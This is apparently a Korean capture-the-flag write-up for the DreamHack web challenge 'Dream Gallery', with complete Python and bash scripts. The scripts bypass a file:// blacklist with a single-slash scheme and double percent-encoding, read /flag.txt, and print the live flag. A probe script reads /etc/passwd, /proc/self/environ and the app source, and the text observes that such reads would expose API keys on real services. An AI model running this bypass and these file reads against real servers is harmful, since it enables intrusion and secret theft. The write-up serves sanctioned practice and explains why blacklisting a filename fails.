๊นจ์ง„ ์•„์ด์ฝ˜ ์•ˆ์— ๋ฌด์—‡์ด ๋“ค์–ด ์žˆ๋Š”์ง€๋Š” img ํƒœ๊ทธ์˜ src๋ฅผ ๋ณด๋ฉด ๋œ๋‹ค. ์ œ๋ชฉ๊ณผ base64๋ฅผ ์ง์ง€์–ด ๊บผ๋‚ด๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ•˜๋‚˜ ๋งŒ๋“ค์–ด ๋’€๋‹ค.

#!/usr/bin/env python3
"""/view ์—์„œ ์ง€์ •ํ•œ ์ œ๋ชฉ์˜ ํ•ญ๋ชฉ์ด ๋ฌผ๊ณ  ์žˆ๋Š” base64 ๋ฅผ ๊ทธ๋Œ€๋กœ ๊บผ๋‚ธ๋‹ค.
 
view.html ์€ `<img src="data:image/png;base64,โ€ฆ">` ๋‹ค์Œ div ์— ์ œ๋ชฉ์„ ์ฐ๋Š”๋‹ค.
๊ทธ ์ง์„ ์ •๊ทœ์‹์œผ๋กœ ์žก์•„ base64 ์›๋ฌธ๊ณผ ๋””์ฝ”๋”ฉ ๊ฒฐ๊ณผ๋ฅผ ๊ฐ™์ด ๋ณด์—ฌ์ค€๋‹ค.
"""
import base64
import re
import sys
import urllib.request
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8552").rstrip("/")
WANT = sys.argv[2] if len(sys.argv) > 2 else "flag.txt"
 
html = urllib.request.urlopen(f"{BASE}/view", timeout=15).read().decode("utf-8", "replace")
 
pat = re.compile(
    r'<img src="data:image/png;base64,([A-Za-z0-9+/=]+)".*?'
    r'<div class="g-col-6 text-center">([^<]*)</div>',
    re.S,
)
for b64, title in pat.findall(html):
    if title.strip() != WANT:
        continue
    raw = base64.b64decode(b64)
    print(f"[title ] {title.strip()}")
    print(f"[base64] {b64}")
    print(f"[decode] {raw!r}")
    sys.exit(0)
 
print(f"[!] '{WANT}' ํ•ญ๋ชฉ ์—†์Œ. ์กด์žฌํ•˜๋Š” ์ œ๋ชฉ: "
      + ", ".join(t.strip() for _, t in pat.findall(html)))
sys.exit(1)

extract_b64.py๋ฅผ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๋Œ๋ฆฐ ๊ฒฐ๊ณผ. flag.txt ํ•ญ๋ชฉ์˜ base64 ์›๋ฌธ๊ณผ ๊ทธ๊ฒƒ์„ ๋””์ฝ”๋”ฉํ•œ ํ”Œ๋ž˜๊ทธ ๋ฌธ์ž์—ด์ด ํ•จ๊ป˜ ์ถœ๋ ฅ๋œ๋‹ค.
extract_b64.py๋ฅผ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๋Œ๋ฆฐ ๊ฒฐ๊ณผ. flag.txt ํ•ญ๋ชฉ์˜ base64 ์›๋ฌธ๊ณผ ๊ทธ๊ฒƒ์„ ๋””์ฝ”๋”ฉํ•œ ํ”Œ๋ž˜๊ทธ ๋ฌธ์ž์—ด์ด ํ•จ๊ป˜ ์ถœ๋ ฅ๋œ๋‹ค.

๋””์ฝ”๋”ฉ์€ ๋ธŒ๋ผ์šฐ์ €์—์„œ๋„ ํ™•์ธ๋œ๋‹ค. ์œ„์—์„œ ์–ป์€ base64๋ฅผ ๊ทธ๋Œ€๋กœ data:text/plain URL๋กœ ์—ด๋ฉด, ์ฃผ์†Œ์ฐฝ์—๋Š” ์„œ๋ฒ„๊ฐ€ ์ค€ base64 ์›๋ฌธ์ด ๋‚จ๊ณ  ๋ณธ๋ฌธ์—๋Š” ๊ทธ ํ‰๋ฌธ์ด ๋‚˜์˜จ๋‹ค. ๊ฐค๋Ÿฌ๋ฆฌ๊ฐ€ ๋ฌผ๊ณ  ์žˆ๋˜ ๊ฐ’์ด ํ”Œ๋ž˜๊ทธ ๊ทธ ์ž์ฒด๋ผ๋Š” ๊ฑธ ํ•œ ํ™”๋ฉด์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

data:text/plain ํ˜•ํƒœ๋กœ ์—ด์–ด ๋ณธ ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์—๋Š” ๊ฐค๋Ÿฌ๋ฆฌ์—์„œ ๊บผ๋‚ธ base64๊ฐ€ ๊ทธ๋Œ€๋กœ ์žˆ๊ณ  ๋ณธ๋ฌธ์—๋Š” ๋””์ฝ”๋”ฉ๋œ ํ”Œ๋ž˜๊ทธ๊ฐ€ ํ‘œ์‹œ๋œ๋‹ค.
data:text/plain ํ˜•ํƒœ๋กœ ์—ด์–ด ๋ณธ ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์—๋Š” ๊ฐค๋Ÿฌ๋ฆฌ์—์„œ ๊บผ๋‚ธ base64๊ฐ€ ๊ทธ๋Œ€๋กœ ์žˆ๊ณ  ๋ณธ๋ฌธ์—๋Š” ๋””์ฝ”๋”ฉ๋œ ํ”Œ๋ž˜๊ทธ๊ฐ€ ํ‘œ์‹œ๋œ๋‹ค.


๐Ÿš€ Full Exploit

๋ธŒ๋ผ์šฐ์ €๋กœ ํ™•์ธํ•œ ํ๋ฆ„์„ ๊ทธ๋Œ€๋กœ ์Šคํฌ๋ฆฝํŠธ๋กœ ์˜ฎ๊ฒผ๋‹ค. ์ด ํŒŒ์ผ ํ•˜๋‚˜๋กœ ์š”์ฒญ๋ถ€ํ„ฐ ํšŒ์ˆ˜๊นŒ์ง€ ๋๋‚œ๋‹ค. requests๋„ ์•ˆ ์“ด๋‹ค โ€” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ํผ์„ผํŠธ์ธ์ฝ”๋”ฉ์„ ๋‹ค์‹œ ๋งŒ์ง€๋ฉด ์• ์จ ๋งž์ถ˜ ์ธต์ˆ˜๊ฐ€ ์–ด๊ธ‹๋‚˜๊ธฐ ๋•Œ๋ฌธ์—, ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ URL์„ ๋ฌธ์ž์—ด์งธ ๋„˜๊ธฐ๋Š” ์ชฝ์ด ์•ˆ์ „ํ•˜๋‹ค.

#!/usr/bin/env python3
"""Dream Gallery (DreamHack id 552, Silver 1, web) โ€” SSRF/LFI ์ž๋™ ์ต์Šคํ”Œ๋กœ์ž‡.
 
/request ์˜ ํ•„ํ„ฐ๋Š” ์„ธ ๊ฒน์ด๋‹ค.
 
    url = request.args.get('url', '').lower()
    if url == '' or url.startswith("file://") or "flag" in url or title == '':
        return render_template('request.html')
    data = urlopen(url).read()
 
- `url.startswith("file://")`  โ†’ ์Šฌ๋ž˜์‹œ๋ฅผ ํ•˜๋‚˜๋งŒ ์“ด `file:/` ๋กœ ๋น„๊ปด๊ฐ„๋‹ค.
  urllib ์˜ Request._parse ๋Š” `//` ๋กœ ์‹œ์ž‘ํ•˜์ง€ ์•Š์œผ๋ฉด host ๋ฅผ ์žก์ง€ ์•Š๊ณ 
  ์ „์ฒด๋ฅผ selector ๋กœ ๋„˜๊ธฐ๋ฏ€๋กœ FileHandler.open_local_file ์ด ๊ทธ๋Œ€๋กœ ๋กœ์ปฌ ํŒŒ์ผ์„ ์—ฐ๋‹ค.
- `"flag" in url`            โ†’ ๊ฒฝ๋กœ๋ฅผ ํผ์„ผํŠธ์ธ์ฝ”๋”ฉํ•œ๋‹ค. posix ์˜ url2pathname ์€
  ์‚ฌ์‹ค์ƒ unquote ๋ผ์„œ `fl%61g.txt` ๊ฐ€ ํŒŒ์ผ์‹œ์Šคํ…œ์— ๋‹ฟ์„ ๋• `flag.txt` ๊ฐ€ ๋œ๋‹ค.
- Flask ๊ฐ€ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์„ ํ•œ ๋ฒˆ ๋””์ฝ”๋“œํ•˜๋ฏ€๋กœ **์ด์ค‘ ์ธ์ฝ”๋”ฉ**(`%2561`)์œผ๋กœ ๋ณด๋‚ด์•ผ
  ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๋ฌธ์ž์—ด์— `%61` ์ด ๋‚จ๋Š”๋‹ค.
 
์ฝ์€ ๋ฐ”์ดํŠธ๋Š” base64 ๋กœ mini_database ์— ๋“ค์–ด๊ฐ€ /view ์—์„œ <img src="data:...">
๋กœ ๋ Œ๋”๋œ๋‹ค. ๊ทธ๋ž˜์„œ /view HTML ์˜ base64 ๋ฉ์–ด๋ฆฌ๋ฅผ ์ „๋ถ€ ๋””์ฝ”๋“œํ•ด flag ๋ฅผ ์ฐพ๋Š”๋‹ค.
 
์‚ฌ์šฉ๋ฒ•:
    python3 solve.py http://host1.dreamhack.games:12345      # ๋ผ์ด๋ธŒ
    python3 solve.py http://127.0.0.1:8552                   # ๋กœ์ปฌ ์žฌํ˜„
์ธ์ž๋ฅผ ์•ˆ ์ฃผ๋ฉด ๋กœ์ปฌ ์žฌํ˜„ ์ฃผ์†Œ๋ฅผ ์“ด๋‹ค.
"""
import base64
import re
import sys
import urllib.request
 
DEFAULT = "http://127.0.0.1:8552"
TARGET = "/flag.txt"
 
 
def http_get(url: str) -> str:
    # requests ์—†์ด ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋งŒ. ํผ์„ผํŠธ์ธ์ฝ”๋”ฉ์„ ์ ˆ๋Œ€ ๋‹ค์‹œ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๋Š”๋‹ค.
    with urllib.request.urlopen(url, timeout=15) as r:
        return r.read().decode("utf-8", "replace")
 
 
def build_payload(path: str) -> str:
    """/flag.txt โ†’ file:/fl%2561g.txt  (ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๊ฐ’์€ file:/fl%61g.txt)"""
    # 'flag' ์˜ 'a' ๋งŒ ํผ์„ผํŠธ์ธ์ฝ”๋”ฉํ•˜๋ฉด ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๊ฐ€ ๋ชป ์žก๋Š”๋‹ค.
    # ๊ทธ % ๋ฅผ ๋‹ค์‹œ %25 ๋กœ ๊ฐ์‹ธ Flask ์˜ 1์ฐจ ๋””์ฝ”๋”ฉ์„ ํ†ต๊ณผ์‹œํ‚จ๋‹ค.
    encoded = path.replace("flag", "fl%2561g")
    return "file:" + encoded          # ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜ โ†’ startswith("file://") ํšŒํ”ผ
 
 
def harvest(html: str) -> list[bytes]:
    out = []
    for blob in re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", html):
        try:
            out.append(base64.b64decode(blob, validate=True))
        except Exception:
            pass
    return out
 
 
def main() -> int:
    base = (sys.argv[1] if len(sys.argv) > 1 else DEFAULT).rstrip("/")
    title = "flagcarrier"
 
    payload = build_payload(TARGET)
    url = f"{base}/request?url={payload}&title={title}"
    print(f"[*] target      : {base}")
    print(f"[*] filter sees : {payload.replace('%25', '%')}")
    print(f"[*] GET {url}")
    body = http_get(url)
 
    # ํ•„ํ„ฐ์— ๊ฑธ๋ฆฌ๋ฉด request.html ์ด ๊ทธ๋Œ€๋กœ ๋Œ์•„์˜จ๋‹ค(๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ์—†์Œ).
    if "<form" in body and "/view" not in body:
        print("[!] ํ•„ํ„ฐ์— ๋ง‰ํ˜”๋‹ค โ€” request.html ์ด ๊ทธ๋Œ€๋กœ ๋ฐ˜ํ™˜๋จ")
        return 1
 
    view = http_get(f"{base}/view")
    for data in harvest(view):
        m = re.search(rb"DH\{[^}\n]*\}", data)
        if m:
            print(f"[+] FLAG: {m.group(0).decode()}")
            return 0
 
    print("[!] /view ์—์„œ flag ๋ฅผ ๋ชป ์ฐพ์Œ")
    print(view[:800])
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

/view์—์„œ base64๋ฅผ ๊ณจ๋ผ๋‚ด๋Š” ๋ฐฉ์‹์€ ์ œ๋ชฉ์— ์˜์กดํ•˜์ง€ ์•Š๊ฒŒ ํ•ด ๋’€๋‹ค. ํ…œํ”Œ๋ฆฟ์ด ์กฐ๊ธˆ ๋‹ฌ๋ผ์ ธ๋„ ํŽ˜์ด์ง€ ์•ˆ์˜ base64 ๋ฉ์–ด๋ฆฌ๋ฅผ ์ „๋ถ€ ๋””์ฝ”๋”ฉํ•ด DH{๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฒƒ์„ ์ฐพ๋Š”๋‹ค.

๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ์— ๋จผ์ € ๋Œ๋ ค ์ฒด์ธ์ด ๋๊นŒ์ง€ ์ด์–ด์ง€๋Š”์ง€ ๋ดค๋‹ค. ์—ฌ๊ธฐ์„œ ๋‚˜์˜ค๋Š” ๊ฐ’์€ ๋‚ด๊ฐ€ ๋„ฃ์€ ๋”๋ฏธ๋‹ค.

solve.py๋ฅผ ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ์— ๋Œ๋ฆฐ ๊ฒฐ๊ณผ. ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๊ฐ’๊ณผ ์‹ค์ œ ์ „์†ก URL์ด ์ถœ๋ ฅ๋˜๊ณ  ๋กœ์ปฌ ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๊ฐ€ ํšŒ์ˆ˜๋œ๋‹ค.
solve.py๋ฅผ ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ์— ๋Œ๋ฆฐ ๊ฒฐ๊ณผ. ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๊ฐ’๊ณผ ์‹ค์ œ ์ „์†ก URL์ด ์ถœ๋ ฅ๋˜๊ณ  ๋กœ์ปฌ ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๊ฐ€ ํšŒ์ˆ˜๋œ๋‹ค.

๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋ผ์ด๋ธŒ ์„œ๋ฒ„๋กœ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ๊ฐ€ ์ง„์งœ ํ”Œ๋ž˜๊ทธ๋‹ค.

solve.py๋ฅผ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๋Œ๋ฆฐ ๊ฒฐ๊ณผ. ์ฃผ์†Œ๊ฐ€ host3.dreamhack.games๋กœ ๋ฐ”๋€Œ์—ˆ์„ ๋ฟ ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๋กœ ์‹ค์ œ ํ”Œ๋ž˜๊ทธ๊ฐ€ ํšŒ์ˆ˜๋œ๋‹ค.
solve.py๋ฅผ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๋Œ๋ฆฐ ๊ฒฐ๊ณผ. ์ฃผ์†Œ๊ฐ€ host3.dreamhack.games๋กœ ๋ฐ”๋€Œ์—ˆ์„ ๋ฟ ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๋กœ ์‹ค์ œ ํ”Œ๋ž˜๊ทธ๊ฐ€ ํšŒ์ˆ˜๋œ๋‹ค.

[*] target      : http://host3.dreamhack.games:22580
[*] filter sees : file:/fl%61g.txt
[*] GET http://host3.dreamhack.games:22580/request?url=file:/fl%2561g.txt&title=flagcarrier
[+] FLAG: DH{b2037a026b40cc98804e91b5a2a07f54}

์žฌํ˜„ ์Šคํฌ๋ฆฝํŠธ

๋กœ์ปฌ ๊ฒ€์ฆ๊ณผ ๋ผ์ด๋ธŒ ํšŒ์ˆ˜๋ฅผ ํ•œ ํŒŒ์ผ์— ๋ฌถ์–ด ๋’€๋‹ค. ์ธ์ž๋ฅผ ์•ˆ ์ฃผ๋ฉด ๋„์ปค ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์„ธ์›Œ ์ฒด์ธ๋งŒ ๊ฒ€์ฆํ•˜๊ณ , ๋ผ์ด๋ธŒ ์ฃผ์†Œ๋ฅผ ์ฃผ๋ฉด ์ง„์งœ ํ”Œ๋ž˜๊ทธ๋ฅผ ํ™•์ธํ•œ๋‹ค. ์˜คํ”„๋ผ์ธ๋งŒ์œผ๋กœ๋Š” ์ง„์งœ ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์—†์œผ๋‹ˆ ๊ทธ ์‚ฌ์‹ค์„ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ง์ ‘ ๋งํ•˜๊ฒŒ ํ–ˆ๋‹ค.

#!/usr/bin/env bash
# Dream Gallery (DreamHack 552, Silver 1, web) โ€” ํ•œ ๋ฐฉ ์žฌํ˜„.
#
#   ./reproduce.sh                              ๋กœ์ปฌ ๋„์ปค ์žฌํ˜„์œผ๋กœ ์ต์Šค ์ฒด์ธ ๊ฒ€์ฆ (๋”๋ฏธ flag)
#   ./reproduce.sh http://host3...games:PORT    ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ ์ง„์งœ flag ํšŒ์ˆ˜
#
# โ˜… ์ •์ง์„ฑ: ์ธ์ž ์—†์ด ๋Œ๋ฆฌ๋ฉด ํ™•์ธ๋˜๋Š” ๊ฒƒ์€ "ํ•„ํ„ฐ 3์ค‘ ์šฐํšŒ๊ฐ€ ์‹ค์ œ๋กœ ํ†ตํ•˜๊ณ 
#   /flag.txt ๋ฅผ ์ฝ์–ด๋‚ธ๋‹ค"๋Š” ๊ฒƒ๊นŒ์ง€๋‹ค. ์ด๋•Œ ๋‚˜์˜ค๋Š” ๊ฐ’์€ ๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ์— ๋‚ด๊ฐ€ ๋„ฃ์€
#   ๋”๋ฏธ(DH{LOCAL_DUMMY_NOT_THE_REAL_FLAG})๋‹ค. ์ง„์งœ flag ๋Š” ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—๋งŒ ์žˆ์œผ๋ฏ€๋กœ
#   ์˜คํ”„๋ผ์ธ๋งŒ์œผ๋กœ๋Š” ์–ป์„ ์ˆ˜ ์—†๋‹ค โ€” ๊ทธ๋ž˜์„œ ๋ผ์ด๋ธŒ ์ธ์ž๋ฅผ ๋”ฐ๋กœ ๋ฐ›๋Š”๋‹ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
DUMMY='DH{LOCAL_DUMMY_NOT_THE_REAL_FLAG}'
EXPECT=$(python3 -c "import json;print(json.load(open('๋ฌธ์ œ.json'))['flag'])" 2>/dev/null || echo '')
 
if [ $# -ge 1 ]; then
  MODE=live; TARGET="$1"
else
  MODE=local; TARGET="http://127.0.0.1:8552"
  echo "[*] ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ ๊ธฐ๋™"
  ./build_local.sh
  EXPECT="$DUMMY"
fi
 
echo
echo "[*] ํ•„ํ„ฐ ๋ฐ˜์‘ ํ‘œ ($MODE)"
./probe_status.sh "$TARGET"
 
echo
echo "[*] ์ต์Šคํ”Œ๋กœ์ž‡"
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT"
 
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
 
echo
if [ -z "$FLAG" ]; then
  echo "โŒ FAIL โ€” flag ๋ฅผ ๋ชป ๋ฝ‘์•˜๋‹ค"; exit 1
fi
if [ -n "$EXPECT" ] && [ "$FLAG" != "$EXPECT" ]; then
  echo "โŒ FAIL โ€” ์–ป์€ ๊ฐ’ '$FLAG' / ๊ธฐ๋Œ€ '$EXPECT'"; exit 1
fi
if [ "$MODE" = local ]; then
  echo "โœ… PASS  $FLAG"
  echo "   (๋กœ์ปฌ ๋”๋ฏธ๋‹ค. ์ง„์งœ flag ๋Š” ./reproduce.sh <๋ผ์ด๋ธŒ์ฃผ์†Œ> ๋กœ.)"
else
  echo "โœ… PASS  $FLAG"
fi


๐Ÿ”Ž ๊ณ๊ฐ€์ง€ โ€” ์ด ํ•„ํ„ฐ๊ฐ€ ์‹ค์ œ๋กœ ๋ง‰๊ณ  ์žˆ๋Š” ๊ฒƒ์€ ์ด๋ฆ„ ํ•˜๋‚˜๋ฟ์ด๋‹ค

ํ”Œ๋ž˜๊ทธ๋ฅผ ๋”ด ๋’ค์— ๊ถ๊ธˆํ•ด์„œ ํ•˜๋‚˜ ๋” ํ™•์ธํ–ˆ๋‹ค. ๊ฒฝ๋กœ์— flag๋ผ๋Š” ๋„ค ๊ธ€์ž๊ฐ€ ์—†์œผ๋ฉด ํผ์„ผํŠธ์ธ์ฝ”๋”ฉ์กฐ์ฐจ ํ•„์š” ์—†๋‹ค. ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜๋งŒ ์ค„์ด๋ฉด ๊ทธ๋Œ€๋กœ ํ†ต๊ณผํ•œ๋‹ค.

#!/usr/bin/env python3
"""ํ•„ํ„ฐ๊ฐ€ ๋ง‰๊ณ  ์žˆ๋Š” ๊ฒŒ ์‚ฌ์‹ค์ƒ flag.txt ๋ผ๋Š” ์ด๋ฆ„๋ฟ์ž„์„ ํ™•์ธํ•œ๋‹ค.
 
๊ฒฝ๋กœ์— 'flag' ๋ผ๋Š” ๋„ค ๊ธ€์ž๊ฐ€ ์—†์œผ๋ฉด ํผ์„ผํŠธ์ธ์ฝ”๋”ฉ์กฐ์ฐจ ํ•„์š” ์—†๋‹ค.
์Šฌ๋ž˜์‹œ ํ•˜๋‚˜๋งŒ ์ค„์ด๋ฉด ๊ทธ๋Œ€๋กœ ํ†ต๊ณผํ•ด ์ž„์˜ ํŒŒ์ผ์ด ์ฝํžŒ๋‹ค.
"""
import base64, re, sys, urllib.request
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8552").rstrip("/")
 
TARGETS = [
    "/app/app.py",            # ๋ฐฐํฌ๋œ ์†Œ์Šค ๊ทธ๋Œ€๋กœ
    "/etc/passwd",            # ์ปจํ…Œ์ด๋„ˆ ๊ณ„์ • ๋ชฉ๋ก
    "/proc/self/environ",     # ํ”„๋กœ์„ธ์Šค ํ™˜๊ฒฝ๋ณ€์ˆ˜
    "/proc/self/cgroup",      # ์ปจํ…Œ์ด๋„ˆ ์—ฌ๋ถ€ยทID
]
 
 
def fetch(path: str) -> bytes | None:
    title = "probe" + path.replace("/", "_")
    url = f"{BASE}/request?url=file:{path}&title={title}"
    urllib.request.urlopen(url, timeout=15).read()
 
    html = urllib.request.urlopen(f"{BASE}/view", timeout=15).read().decode("utf-8", "replace")
    pat = re.compile(
        r'<img src="data:image/png;base64,([A-Za-z0-9+/=]+)".*?'
        r'<div class="g-col-6 text-center">([^<]*)</div>', re.S)
    for b64, t in pat.findall(html):
        if t.strip() == title:
            return base64.b64decode(b64)
    return None
 
 
for path in TARGETS:
    data = fetch(path)
    if data is None:
        print(f"{path:22} ์‹คํŒจ (ํ•„ํ„ฐ ์ฐจ๋‹จ ๋˜๋Š” ์ฝ๊ธฐ ์‹คํŒจ)")
        continue
    head = data.split(b"\n")[0][:70].replace(b"\x00", b" ")
    print(f"{path:22} {len(data):6}B  ์ฒซ์ค„: {head.decode('utf-8', 'replace')}")

probe_read_any.py๋ฅผ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๋Œ๋ฆฐ ๊ฒฐ๊ณผ. app.py, etc slash passwd, proc self environ, proc self cgroup ๋„ค ํŒŒ์ผ์ด ๋ชจ๋‘ ์ฝํ˜€ ํฌ๊ธฐ์™€ ์ฒซ ์ค„์ด ์ถœ๋ ฅ๋œ๋‹ค.
probe_read_any.py๋ฅผ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๋Œ๋ฆฐ ๊ฒฐ๊ณผ. app.py, etc slash passwd, proc self environ, proc self cgroup ๋„ค ํŒŒ์ผ์ด ๋ชจ๋‘ ์ฝํ˜€ ํฌ๊ธฐ์™€ ์ฒซ ์ค„์ด ์ถœ๋ ฅ๋œ๋‹ค.

๋„ค ๊ฐœ ๋‹ค ์ฝํžŒ๋‹ค. ๋ช‡ ๊ฐ€์ง€๊ฐ€ ๋ˆˆ์— ๊ฑธ๋ฆฐ๋‹ค.

/app/app.py๊ฐ€ 1834๋ฐ”์ดํŠธ์ธ๋ฐ, ๋ฐฐํฌ๋ณธ์œผ๋กœ ๋ฐ›์€ extracted/app.py๋„ ์ •ํ™•ํžˆ 1834๋ฐ”์ดํŠธ๋‹ค. ์„œ๋ฒ„๊ฐ€ ๋„๋Š” ์ฝ”๋“œ์™€ ๋‚ด๊ฐ€ ์ฝ์€ ์ฝ”๋“œ๊ฐ€ ๊ฐ™์€ ํŒŒ์ผ์ด๋ผ๋Š” ๋œป์ด๋‹ค. ์†Œ์Šค๋ฅผ ์•ˆ ์คฌ์–ด๋„ ์ด ๊ฒฝ๋กœ ํ•˜๋‚˜๋กœ ๋‹ค ๋ณผ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

/proc/self/environ์€ PATH๋ถ€ํ„ฐ ์‹œ์ž‘ํ•˜๋Š” ํ™˜๊ฒฝ๋ณ€์ˆ˜ ์ „์ฒด๋‹ค. ์ด ๋ฌธ์ œ์—๋Š” ๋น„๋ฐ€์ด ์•ˆ ๋“ค์–ด ์žˆ์ง€๋งŒ, ์‹ค์ œ ์„œ๋น„์Šค๋ผ๋ฉด DB ๋น„๋ฐ€๋ฒˆํ˜ธ๋‚˜ API ํ‚ค๊ฐ€ ์—ฌ๊ธฐ ์žˆ๋‹ค.

/proc/self/cgroup์˜ libpod_parent๋Š” ์ปจํ…Œ์ด๋„ˆ ๋Ÿฐํƒ€์ž„์ด podman์ด๋ผ๋Š” ํ”์ ์ด๋‹ค. ๋ฌธ์ œ ํŒŒ์ผ์—๋Š” Docker๋งŒ ๋‚˜์˜ค๋Š”๋ฐ ์‹ค์ œ ๋ฐฐํฌ๋Š” podman์œผ๋กœ ๋Œ๊ณ  ์žˆ์—ˆ๋‹ค.

์ด๋ฆ„ ํ•˜๋‚˜๋ฅผ ๊ธˆ์ง€์–ด๋กœ ๋ง‰๋Š” ๋ฐฉ์‹์ด ์™œ ๋Œ€์ฑ…์ด ์•„๋‹Œ์ง€ ์—ฌ๊ธฐ์„œ ๊ทธ๋Œ€๋กœ ๋ณด์ธ๋‹ค. ์ง€๋ชฉ๋‹นํ•œ ํŒŒ์ผ๋งŒ ๋ชป ์ฝ๊ฒŒ ํ–ˆ์„ ๋ฟ, ์ฝ๊ธฐ ์ž์ฒด๋Š” ์—ด๋ ค ์žˆ๋‹ค.



๐Ÿงฑ ์ง์ ‘ ํ•ด ๋ณผ ๋•Œ ํ•„์š”ํ•œ ๊ฒƒ

๋ฐฐํฌ๋ณธ์— templates/์™€ static/์ด ์—†์œผ๋‹ˆ ๊ทธ๋Œ€๋กœ ๋นŒ๋“œํ•˜๋ฉด TemplateNotFound๋กœ ์ฃฝ๋Š”๋‹ค. ๋กœ์ปฌ ์žฌํ˜„์„ ์„ธ์šฐ๋ ค๋ฉด ์ด ์ •๋„๋งŒ ์ฑ„์šฐ๋ฉด ๋œ๋‹ค.

dream-gallery/
โ”œโ”€โ”€ extracted/            # ๋ฐฐํฌ๋ณธ (app.py, Dockerfile)
โ”œโ”€โ”€ local/
โ”‚   โ”œโ”€โ”€ Dockerfile        # extracted/Dockerfile ๊ทธ๋Œ€๋กœ
โ”‚   โ””โ”€โ”€ deploy/
โ”‚       โ”œโ”€โ”€ app.py        # extracted/app.py ๊ทธ๋Œ€๋กœ โ€” ์ˆ˜์ • ๊ธˆ์ง€
โ”‚       โ”œโ”€โ”€ flag.txt      # ๋”๋ฏธ ํ•œ ์ค„
โ”‚       โ”œโ”€โ”€ static/       # assetA#03.jpg ~ assetD#03.jpg (์•„๋ฌด ๋ฐ”์ดํŠธ์—ฌ๋„ ๋จ)
โ”‚       โ””โ”€โ”€ templates/    # view.html / request.html / upload.html
โ”œโ”€โ”€ build_local.sh
โ”œโ”€โ”€ probe_status.sh
โ”œโ”€โ”€ probe_filter.py
โ”œโ”€โ”€ probe_encoding_layer.py
โ”œโ”€โ”€ probe_urllib.py
โ”œโ”€โ”€ probe_read_any.py
โ”œโ”€โ”€ extract_b64.py
โ”œโ”€โ”€ solve.py
โ””โ”€โ”€ reproduce.sh

๋ช‡ ๊ฐ€์ง€ ํ•จ์ •์ด ์žˆ๋‹ค.

static/assetA#03.jpg ํŒŒ์ผ๋ช…์— ์ƒต์ด ๋“ค์–ด๊ฐ„๋‹ค. app.py๊ฐ€ ์‹œ์ž‘ํ•  ๋•Œ open('static/assetA#03.jpg', 'rb')๋กœ ๋„ค ๊ฐœ๋ฅผ ์ฝ์œผ๋ฏ€๋กœ, ์ด๋ฆ„์ด ์ •ํ™•ํ•˜์ง€ ์•Š์œผ๋ฉด ์„œ๋ฒ„๊ฐ€ ์•„์˜ˆ ์•ˆ ๋œฌ๋‹ค. ์ด๋ฏธ์ง€ ๋‚ด์šฉ์€ ์•„๋ฌด๋ž˜๋„ ์ข‹๋‹ค.

app.py๋Š” ์†๋Œ€์ง€ ์•Š๋Š”๋‹ค. ํ•„ํ„ฐ๋ฅผ ํ‰๋‚ด๋‚ด ๋‹ค์‹œ ์“ฐ๋ฉด ๋ฏธ๋ฌ˜ํ•˜๊ฒŒ ๋‹ฌ๋ผ์ ธ์„œ ์‹คํ—˜ ๊ฒฐ๊ณผ๋ฅผ ๋ฏฟ์„ ์ˆ˜ ์—†๊ฒŒ ๋œ๋‹ค. ๋ฐฐํฌ๋ณธ์„ ๊ทธ๋Œ€๋กœ ๋„ฃ๋Š” ๊ฒŒ ์š”์ ์ด๋‹ค.

ํฌํŠธ๋Š” ์ปจํ…Œ์ด๋„ˆ ์•ˆ 80. app.run(host="0.0.0.0", port=80)์ด๋ผ ํ˜ธ์ŠคํŠธ ์ชฝ๋งŒ ๋ฐ”๊ฟ” ๋งคํ•‘ํ•œ๋‹ค(์œ„์—์„œ๋Š” 8552).

